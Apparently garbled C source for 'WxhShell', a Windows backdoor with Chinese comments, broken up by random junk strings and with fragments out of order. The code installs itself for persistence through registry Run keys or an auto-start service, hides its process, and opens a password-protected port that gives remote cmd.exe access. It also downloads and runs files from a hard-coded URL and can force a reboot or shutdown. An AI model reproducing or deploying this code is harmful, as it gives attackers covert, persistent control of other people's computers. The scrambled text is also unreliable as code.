G(G{RAk> ~5CBEIF(NS g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uYs5f.! ` g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y+c|vdW% NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {_ i\f ]L )W;o<:x3 if (!NtQueryInformationProcess) return 0; 4;0lvDD 5n9B?T8C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P'Ux%Q+B> if(!hProcess) return 0; UJCYs`y IpcNuZo9& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lE&&_INHQ AK*LyR? CloseHandle(hProcess); t>`asL ~nh:s|l6%M hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pxCK;] if(hProcess==NULL) return 0; S/e2P|} C(#u[8 HMODULE hMod; %}Ss,XJ char procName[255]; x:7b/j- unsigned long cbNeeded; !`,Sfqij Af'" 6BS if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]v]qChZHd jU9$Ehg
I CloseHandle(hProcess); 34%RZG_o' O$&mFL[` if(strstr(procName,"services")) return 1; // 以服务启动 ,}ECF> &3J_^210 return 0; // 注册表启动 uao0_swW5 } S~;4*7+?: 1^7hf;|#g // 主模块 :7!0OVQla\ int StartWxhshell(LPSTR lpCmdLine) Z7hgA-t { 7b;I+q SOCKET wsl; $m].8? BOOL val=TRUE; HUv/ ~^< int port=0; 8&?s#5zA struct sockaddr_in door; YW_Q\|p]M aTqd@},? if(wscfg.ws_autoins) Install(); {=!b/l;@ S+atn]eU@ port=atoi(lpCmdLine); W&&;:Fr Nn~~!q if(port<=0) port=wscfg.ws_port; MGR!Z@1y 1 u| wMO WSADATA data; 723bkJw
V if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TDFkxB> aB{vFTD5 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; i|w81p^o setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0?\Zm)Q~( door.sin_family = AF_INET; im9G,e door.sin_addr.s_addr = inet_addr("127.0.0.1"); JEahGzO door.sin_port = htons(port); F+,~v- }z _ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "$ Y_UJT7 closesocket(wsl); Bm.:^:&k return 1; <acUKfpY } xLNtIzx E:JJ3X| if(listen(wsl,2) == INVALID_SOCKET) { %C~1^9uq closesocket(wsl); 2Ga7$q return 1; =BSzsH7 } "a
ueL/dgN Wxhshell(wsl); 6:Ch^c+IZ WSACleanup(); XQ9O$
~q )}D'<^=#T return 0; _aFl_\3> ?s\:hNNY } -(bXSBs# KIui(n#/ // 以NT服务方式启动 C([phT; VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^W'fA{sr { !UG
7Uer DWORD status = 0; 4
N H DWORD specificError = 0xfffffff; A+SE91m Sp@^XmX(S serviceStatus.dwServiceType = SERVICE_WIN32; <tF9V Jq serviceStatus.dwCurrentState = SERVICE_START_PENDING; J
pFfzb
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #!aN{nK0 serviceStatus.dwWin32ExitCode = 0; {1V($aBl serviceStatus.dwServiceSpecificExitCode = 0; "= 6_V?&w serviceStatus.dwCheckPoint = 0; R:e<W/P" serviceStatus.dwWaitHint = 0; Hyb3 ;yQ #E?(vA1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Mr;E<Lj ^K if (hServiceStatusHandle==0) return; VL%UR{ ~$iIVJ` status = GetLastError(); P3cR l'] if (status!=NO_ERROR) M=1n QF2J { 4
Y;Nm1@ serviceStatus.dwCurrentState = SERVICE_STOPPED; Mn9dqq~a serviceStatus.dwCheckPoint = 0; "uuVy$6C serviceStatus.dwWaitHint = 0; so"$m serviceStatus.dwWin32ExitCode = status; Izhee%c serviceStatus.dwServiceSpecificExitCode = specificError; ,sA[)wP { SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Sl[lXE return; y4t7`-,~ } |X0Y- SSz~YR^}Sr serviceStatus.dwCurrentState = SERVICE_RUNNING; bvv|;6 serviceStatus.dwCheckPoint = 0; C ~<'rO}| serviceStatus.dwWaitHint = 0; c(:f\Wc3Z if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
U*(izD } &u /Nf&A 1Ty<\bZ= // 处理NT服务事件,比如:启动、停止 56+s~hG VOID WINAPI NTServiceHandler(DWORD fdwControl) -BRc8 / { bSfpbo4( switch(fdwControl) `tHvD=`m. { ofPHmh` case SERVICE_CONTROL_STOP: S0~2{G"v serviceStatus.dwWin32ExitCode = 0; %MrWeYd1 serviceStatus.dwCurrentState = SERVICE_STOPPED; 0'V5/W serviceStatus.dwCheckPoint = 0; )2V: serviceStatus.dwWaitHint = 0; eoai(&o0$ { W=#:.Xj[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); !n*
+(lZ } JRSSn] pw return; 19O,a#{KHf case SERVICE_CONTROL_PAUSE: $^OvhnL/ serviceStatus.dwCurrentState = SERVICE_PAUSED; =+U `-J}g break; ue4Vcf case SERVICE_CONTROL_CONTINUE: rM .|1(u serviceStatus.dwCurrentState = SERVICE_RUNNING; Fs{x(_LOr break; q;<h[b? case SERVICE_CONTROL_INTERROGATE: _CW(PsfY break; :uWw8` }; v}1QH SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sz^
veh? } @\|_ R_sr?V|" // 标准应用程序主函数 `8^TTQ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CjlKMbnBH { h3bff#<K cWi}V // 获取操作系统版本 jUSmqm' OsIsNt=GetOsVer(); Y( 3Bp\6 GetModuleFileName(NULL,ExeFile,MAX_PATH); 99:C"`E{ n` xR5!de // 从命令行安装 s (zL if(strpbrk(lpCmdLine,"iI")) Install(); my}-s <4P4u*/o // 下载执行文件 dYL"h.x if(wscfg.ws_downexe) { )rekY; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #wV8X`g WinExec(wscfg.ws_filenam,SW_HIDE); EJsM(iG]~M } _NMm/]mN / 8=gjY\Dp if(!OsIsNt) { W3 'q\+ // 如果时win9x,隐藏进程并且设置为注册表启动 %`r?c<P} HideProc();
[/e<l&y StartWxhshell(lpCmdLine); =~=*&I4Dp } >AcrG] else FQqI<6; if(StartFromService()) 6f\Lf?vF // 以服务方式启动 #MRMNL@ StartServiceCtrlDispatcher(DispatchTable); q U]gj@R else A1.7O // 普通方式启动 nv@8tdrc StartWxhshell(lpCmdLine); fSs4ZXC )i!o8YB return 0; O"F_* } >_|O1H./4 qI~xlW
cd$m25CxC {
S3ZeN,kZ =========================================== C/TF-g-_Y e>(<eu~P TWQG591 SjwyLc cp#JBHO A?-oL=' " yIDD@j=l \}p6v } #include <stdio.h> ( 5tvfz% #include <string.h> G0^2Wk[ #include <windows.h> 6~1|qEe6I #include <winsock2.h> UrYZ`J
#include <winsvc.h> QlO0qbG[y #include <urlmon.h> RPE5K:P il:$sd #pragma comment (lib, "Ws2_32.lib") j^^Ap #pragma comment (lib, "urlmon.lib") L1Iz<> Z;:u'= #define MAX_USER 100 // 最大客户端连接数 u%$Zqee #define BUF_SOCK 200 // sock buffer 1@QZnF5[ #define KEY_BUFF 255 // 输入 buffer y5do1Z ^OstR`U3 #define REBOOT 0 // 重启 rzh#CnL3 #define SHUTDOWN 1 // 关机 %2XHNW `<\1[HJ\ #define DEF_PORT 5000 // 监听端口 W!6qqi{ rz@=pR : #define REG_LEN 16 // 注册表键长度 WC.t_"@ #define SVC_LEN 80 // NT服务名长度 l,,>& F =y/8^^ // 从dll定义API b#K:_ac5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y@b.sMg{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); " e}3:U5n typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mi/&f typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .8y3O] t=-SH^$SR // wxhshell配置信息 xv&Q+HD struct WSCFG { JvT"bZk(o int ws_port; // 监听端口 2U; t(,dn' char ws_passstr[REG_LEN]; // 口令 /C4^<k\ int ws_autoins; // 安装标记, 1=yes 0=no sK7+Q char ws_regname[REG_LEN]; // 注册表键名 A` AaTP char ws_svcname[REG_LEN]; // 服务名 D,g1<:< char ws_svcdisp[SVC_LEN]; // 服务显示名 %YSu8G_t char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;ByOth|9P char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hrhb!0 int ws_downexe; // 下载执行标记, 1=yes 0=no _h":> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hb^7oq"a char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w*|7!iM }C#;fp"L }; x
>^Si/t ^1L>l9F // default Wxhshell configuration sRrzp=D struct WSCFG wscfg={DEF_PORT, Hv\-_>}K "xuhuanlingzhe", 7?kIVP1r 1, ;Hj~n+ "Wxhshell", bf!M#QOk? "Wxhshell", FDv+*sZ "WxhShell Service", ijdXU8 "Wrsky Windows CmdShell Service", <F.Tx$s "Please Input Your Password: ", Ns[ym>x#2 1, S}ECW,K "http://www.wrsky.com/wxhshell.exe", ]f_6 '|5A "Wxhshell.exe" 9>g, }; W"k8KODOY Ce")[<: // 消息定义模块 6'RrQc=q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gF5a5T, char *msg_ws_prompt="\n\r? for help\n\r#>"; Tp9-niW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^>N]H>0'S char *msg_ws_ext="\n\rExit."; 'qF#<1& char *msg_ws_end="\n\rQuit."; `A,g] 1C: char *msg_ws_boot="\n\rReboot..."; A%{W{UP8N char *msg_ws_poff="\n\rShutdown..."; LJ(1RK GCz char *msg_ws_down="\n\rSave to "; A^2Uzmzl? KhW;RD char *msg_ws_err="\n\rErr!"; }GZ}Q5 char *msg_ws_ok="\n\rOK!"; K.z64/H: ]Wq?H-B{ char ExeFile[MAX_PATH]; \;mH(- int nUser = 0; !k/Pv\j/R HANDLE handles[MAX_USER]; Kbb78S30 int OsIsNt; !\,kZ|#> ;XDz)`c SERVICE_STATUS serviceStatus; %bD}m! SERVICE_STATUS_HANDLE hServiceStatusHandle; 4|`Bq}sjZf W!"}E%zx // 函数声明 MiRdX#+Y int Install(void); x"CZ]p&m int Uninstall(void); o)[2@fRC( int DownloadFile(char *sURL, SOCKET wsh); }oKG}wgY int Boot(int flag); .LuB\o$ void HideProc(void); QEu=-7@> int GetOsVer(void); !grVR157P int Wxhshell(SOCKET wsl); yin'vgQ void TalkWithClient(void *cs); ?l $Nf@- int CmdShell(SOCKET sock); fuB)qt!E int StartFromService(void); WzI8_uM int StartWxhshell(LPSTR lpCmdLine); C>[fB|^ 'D%w|Pe?Q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jh.@- VOID WINAPI NTServiceHandler( DWORD fdwControl ); 60)iw4<wf w1|A5q'M // 数据结构和表定义 ;9}pOzF1q SERVICE_TABLE_ENTRY DispatchTable[] = C^z\([k0er { 5&e<#" {wscfg.ws_svcname, NTServiceMain}, 6Kj'ZyVL {NULL, NULL} )#}mH @ }; E3*\
^Q_ F5 ]C{ // 自我安装 \xUe/= int Install(void) 'vbc#_; { $
A9%UhV char svExeFile[MAX_PATH]; .?>5-od2 HKEY key; Na\WZSu'" strcpy(svExeFile,ExeFile); P@]8pIB0d^ 7'-j%!#w // 如果是win9x系统,修改注册表设为自启动 /LM4-S if(!OsIsNt) { kGUJ9Du if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 07/L}b`P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \i[BP RegCloseKey(key); '/I:^9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P N*JR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 ua6l[c RegCloseKey(key); oiH|uIsqR return 0; jkF8\dR } 3<?XTv- } lI/0:|l } =5sF"L;b else { 9 F^;! L@^~N$G&u // 如果是NT以上系统,安装为系统服务 CZEW-PIhj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =D^TK-H if (schSCManager!=0) Cj*-[EL< { [Lp,Hqi5 SC_HANDLE schService = CreateService ~=Ncp9ej# ( CWO=0_>2 schSCManager, e0; wscfg.ws_svcname, FhIqy %X wscfg.ws_svcdisp, %k0EpJE% SERVICE_ALL_ACCESS, IF@HzT;Q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?R5'#|EyX SERVICE_AUTO_START, -K[782Q SERVICE_ERROR_NORMAL, p[2GkP svExeFile, 5=KF!? NULL, h~7,`fo NULL, 0"g@!gSrQ NULL, YGsS4ia*4i NULL, m/`IGT5J NULL fRm}S>Nibb ); p[WX'M0f if (schService!=0) y>\S@I { Fpt-V CloseServiceHandle(schService); &&L"&Rc CloseServiceHandle(schSCManager); ,eQ[Fi!! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $cVi;2$p strcat(svExeFile,wscfg.ws_svcname); @1R8-aa-r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w.N,)]h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }xlKonk RegCloseKey(key); +@VYs*&& return 0; y5m!*=`l` } H0*5_OJ!i } x"(9II* CloseServiceHandle(schSCManager); T ^JuZG } FXo2Y]K3`L } %q_Miu@ 9YF$CXonE= return 1; s T3p>8n } #3kXmeyrD 8G ]w,eF // 自我卸载 [$ : int Uninstall(void) e@F|NCQ.9 { r-w2\ 2 HKEY key; 2:$ k uG>nV if(!OsIsNt) { gUB{Bh($Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K%}}fw2RMN RegDeleteValue(key,wscfg.ws_regname); Y(GN4@`S RegCloseKey(key); |xr32gs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i9UI,b%X RegDeleteValue(key,wscfg.ws_regname); LNQSb4 RegCloseKey(key); wUi(3g|A return 0; sa1mC } v@G4G*x\ } |
W#~F&{] } OYf{?-QD else { 8o)L,{yl
wAbp3h X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {4ptu~8 if (schSCManager!=0) C4$/?,K( { ]2+g&ox4' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hbuZaxo< if (schService!=0) wVi%oSfM { :G'xi2bs if(DeleteService(schService)!=0) { DM3B]Yl CloseServiceHandle(schService); U q X1E CloseServiceHandle(schSCManager); vW' 5` % return 0; b2h":G|s } L)-*,$#<oW CloseServiceHandle(schService); '=} Y2?( } Ohl} X 1 CloseServiceHandle(schSCManager); /~}_h O$S } ZHy><=2 } a]1i/3/ F>:%Cyo0! return 1; ID8k/t! } B[NJ^b| 1&|Dsrj // 从指定url下载文件 2
X<nn int DownloadFile(char *sURL, SOCKET wsh) \Tq"mw9P { kqB\xlS7k HRESULT hr; Ku3!*n_\ char seps[]= "/"; Kj*m r%IaU char *token; 4`mO+.za1 char *file; Rlw9$/D!Z char myURL[MAX_PATH]; PO
ko]@~!i char myFILE[MAX_PATH]; a'[)9: X9'xn 0n; strcpy(myURL,sURL); s!h5hwBY token=strtok(myURL,seps); 1<uwU( while(token!=NULL) tE!'dpG5) { 0&`}EXe<f file=token; #t5juX9Ho9 token=strtok(NULL,seps); @;9()ad } /{N)) `F,zenk= GetCurrentDirectory(MAX_PATH,myFILE); ez0 \bym strcat(myFILE, "\\"); PN\V[#nS strcat(myFILE, file); \:sk9k send(wsh,myFILE,strlen(myFILE),0); ?@a$!_ send(wsh,"...",3,0); {v+a!#{c7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i=Kvz4h if(hr==S_OK) u[t>Tg2R return 0; y<r44a_! else Y}/jR6hK return 1; Q=.g1$LP * NMQ } z\[(g `2x 34 // 系统电源模块 hZ#\t int Boot(int flag) -]&<Sr- { 0=m&^Jpp HANDLE hToken; fI[dhd6 TOKEN_PRIVILEGES tkp; A*Q[k 9B
-HT L5 if(OsIsNt) { zjoo{IH} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,#%SK;1< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #5d8?n tkp.PrivilegeCount = 1; 5}SXYA} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wU0K3qZL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ak|b0l>^ if(flag==REBOOT) { UQdyv(jXq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bi_J5 If return 0; 9&(.x8d,a } 3^H/LWx`{] else { ,%= '>A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aa=b<Cd return 0; !@yQK<0 } 4H7Oh*P\j } IuWX*b`v else { /a%KS3>V* if(flag==REBOOT) { 9<qx!-s2rr if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZX]A )5G return 0; -$tCF >, } tnRJ#[Io else { ' WnpwY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O<iI return 0; 3AP YO } 6+#,=!hF{ } (6[Wr}SW5 (\q[gyR return 1; jQIV2TY[ } [5pn@o 4`G=q^GL, // win9x进程隐藏模块 /^QFqM; void HideProc(void) &u4Ve8# { z{V8@q/ T;%+ ]:w< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9>zDJx if ( hKernel != NULL ) V"U~Q=`K { Wlxk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j>g9\i0O1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +9}' s{ FreeLibrary(hKernel); 0, "ZV} } JSUzEAKe a~F u return; fcn_<Yh0W } bF7`] 83 gTyW#verh$ // 获取操作系统版本 `bi
k/o=% int GetOsVer(void) 2q$X>ImI$ { 1[#
=, OSVERSIONINFO winfo; tdb4?^.s winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fIlIH GetVersionEx(&winfo); `v<f} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aEZJNWv return 1; p?KCVvx$ else @+Pf[J41 return 0; I$F\(]"@ } (F_7%!g1d 2O^32TdS // 客户端句柄模块 @]yQJuXA&Z int Wxhshell(SOCKET wsl) 6vZt43"m?\ { IBF.&[[S SOCKET wsh; $&NbLjeS struct sockaddr_in client; >0ssza DWORD myID; g;ct!f=U OC`QD5 while(nUser<MAX_USER) Q9nu"x
% { 6pe4Ni7I2 int nSize=sizeof(client); hiT9H5 6> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :hi$}xHa if(wsh==INVALID_SOCKET) return 1; ~'|&{-< bwT"$Ee handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WoJ]@Me8 if(handles[nUser]==0) kv[OW"8t closesocket(wsh); Psg +\ 14 else /}[zA@ nUser++; ..]B9M. } c
'/2F0y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b<48#Qy~l ,\Z8*Jr3Q return 0; Lp~c } Y&~5k;>'_ 7=AO^:=bx // 关闭 socket C[^a/P`i void CloseIt(SOCKET wsh) ?T~3B]R { FP0<-9DO closesocket(wsh); Y'\3ux0]4' nUser--; o(vZ*^\ ExitThread(0); xXl$Mp7 } 1Q3%!~<\s Es_SCWJ // 客户端请求句柄 [UUM^!1 void TalkWithClient(void *cs) >V3W>5 X { >f3k3XWRT -{.h\ SOCKET wsh=(SOCKET)cs; REeD?u j char pwd[SVC_LEN]; sz){uOI char cmd[KEY_BUFF]; q|m#IVc char chr[1]; 0R.Gjz*Q int i,j; z2$FYn Q t%ou1&SO while (nUser < MAX_USER) { W"#j7p`d 'Sm/t/g"| if(wscfg.ws_passstr) { mvxc[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %@)U/G6s} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u9da]*\7y //ZeroMemory(pwd,KEY_BUFF); 0^_)OsFA i=0; ">v_uq a while(i<SVC_LEN) { C _k_D im_0ur&' // 设置超时 -uS7~Ww.a fd_set FdRead; e{d_p%( struct timeval TimeOut; 'bd=,QW FD_ZERO(&FdRead); 7~QwlU3n<F FD_SET(wsh,&FdRead); hwG||;&/H TimeOut.tv_sec=8; 4{1c7g TimeOut.tv_usec=0; J:k@U42 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V_ avaE if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u^;sx/ %6vMpB`g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EC:x,i pwd=chr[0]; sP=2NqU3Q if(chr[0]==0xd || chr[0]==0xa) { BUboP?#%) pwd=0; gb ^UFD L break; 70I4-[/z[d } A_8`YN"Xk i++; `RL(N4H } `-E.n'+ _j|n}7a // 如果是非法用户,关闭 socket ?.|wfBI if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,L8I7O}A; } bTI&#Hu ACMpm~C8Gu send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8O}A/*1FJ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &)/H?S;yN 3w6J V+? while(1) { `"1{Sx. -6*OF.Ag` ZeroMemory(cmd,KEY_BUFF); 8M5!5Jzv U(=f5|- // 自动支持客户端 telnet标准 (&a3v j=0; \5v=pDd4g while(j<KEY_BUFF) { cfQh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tleK(^ cmd[j]=chr[0]; ) J:'5hz if(chr[0]==0xa || chr[0]==0xd) { |M0,%~Kt cmd[j]=0; h)aWerzL break; D[FfJcV'$ } A,A-5l<h]? j++; EIVQu~,H } /ltP@*bo }rb ]d'| // 下载文件 8Y;zs7Y if(strstr(cmd,"http://")) { %`<`z yf send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y+Q,4s if(DownloadFile(cmd,wsh)) `)xU;- send(wsh,msg_ws_err,strlen(msg_ws_err),0); y("0Xve else n?KS]ar> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |rms[1<_ } N!4xP.Ps else { iTtAj~dfZ Aj)<8 switch(cmd[0]) { f%"_U' O7#}8-@}<u // 帮助 bQnwi?2 case '?': { th>yi)m send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;V}FbWz^v6 break; ezNE9g } xF :poi // 安装 zI*/u)48 case 'i': { K]=>F if(Install()) wW)&Px
n send(wsh,msg_ws_err,strlen(msg_ws_err),0); `peJ s~V else IUBps0.T\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wx?{| break; G5e Ls } v!v0,?b* // 卸载 yP=isi#dDY case 'r': { qytGs@p_ if(Uninstall()) a\2Myj send(wsh,msg_ws_err,strlen(msg_ws_err),0); K5c7>I%k else 5['B-
Iw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O|g!Y( break; *fy`JC } {G*:N[pJp // 显示 wxhshell 所在路径 E0?\DvA case 'p': { eG)/&zQ8 char svExeFile[MAX_PATH]; ez<wEtS strcpy(svExeFile,"\n\r"); b<H6D} strcat(svExeFile,ExeFile); jU9zCMyNF send(wsh,svExeFile,strlen(svExeFile),0); }_D5, k break; Iy 8E$B; } keq[6Lv // 重启 f"=4,
case 'b': { =)UiI3xHk send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XU })3]/ if(Boot(REBOOT)) :DF4g= send(wsh,msg_ws_err,strlen(msg_ws_err),0); nO7o7bc else { (P!reYyM closesocket(wsh); {&j{V-}f ExitThread(0); igbb=@QBJ } p<nBS"/ break; .j4ziRa- } LB ^^e"
// 关机 .j'IYlv/P case 'd': { YQ`#C#Wb send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {q>4:lsS if(Boot(SHUTDOWN)) +(k)1kCMn send(wsh,msg_ws_err,strlen(msg_ws_err),0); QNI|h;D else { hO@v\@;r closesocket(wsh); s^X/
Om ExitThread(0); D]`B;aE>A* } 8gKR<X.G break; PY:#F|uHS` } Rw^YTv // 获取shell jN[6JY1 case 's': { g~["O!K3 CmdShell(wsh); 9@EnmtR closesocket(wsh); :/[ZgreN6 ExitThread(0); J?ZVzKTb>} break; Pds*M?&F } 4qXUk:C@m
// 退出 8ch~UBq/ case 'x': { `1v!sSR0R send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $aI MQ[( CloseIt(wsh); \gQ+@O&+ break; _89G2)U=C } fQA)r // 离开 i/EiUH/~ case 'q': { ik NFW*p send(wsh,msg_ws_end,strlen(msg_ws_end),0); A,[m=9V closesocket(wsh); RV*Zi\-X WSACleanup(); PC7.+;1 exit(1); )Ua2x@j'C@ break; z4+6k-#): } p00Bgo } a^/20UFq } %((3'le K}(n;6\ // 提示信息 d_qVk4h\ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;xH'%W9z } Q&'Nr3H#tZ } qtwmTT) _~q^YZ return; \$|UFx } \4X{\p< utS Mx( // shell模块句柄 KgAX0dM int CmdShell(SOCKET sock) 0A4| { X}FF4jE]D( STARTUPINFO si; ,#;ahwU~s ZeroMemory(&si,sizeof(si)); IL"#TKKv si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E4ee_`p si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fy4JW,c PROCESS_INFORMATION ProcessInfo; bUB6B char cmdline[]="cmd"; =YsTF T CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HON[{Oq return 0; 54j
$A } Vta;ibdeqW W>IKy# // 自身启动模式 Ri0+nJ6 int StartFromService(void) *4VP5]! { sjkl? _ typedef struct g*AqFY7| { :6iq{XV^ DWORD ExitStatus; &4iIzw` DWORD PebBaseAddress; sb5kexGxkc DWORD AffinityMask; PS]XLz DWORD BasePriority; X0=-{<W ULONG UniqueProcessId; XArLL5_L ULONG InheritedFromUniqueProcessId; G ~\$Oq8 } PROCESS_BASIC_INFORMATION; ;.a)r 8rNxd=! PROCNTQSIP NtQueryInformationProcess; b4PK "n-xsAG static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w2V E_ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n_2LkW<? 4rdrl HANDLE hProcess; ?`}U|]c PROCESS_BASIC_INFORMATION pbi; t\0JNi$2 m_f^#: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &!MKqJ@t if(NULL == hInst ) return 0; ;< |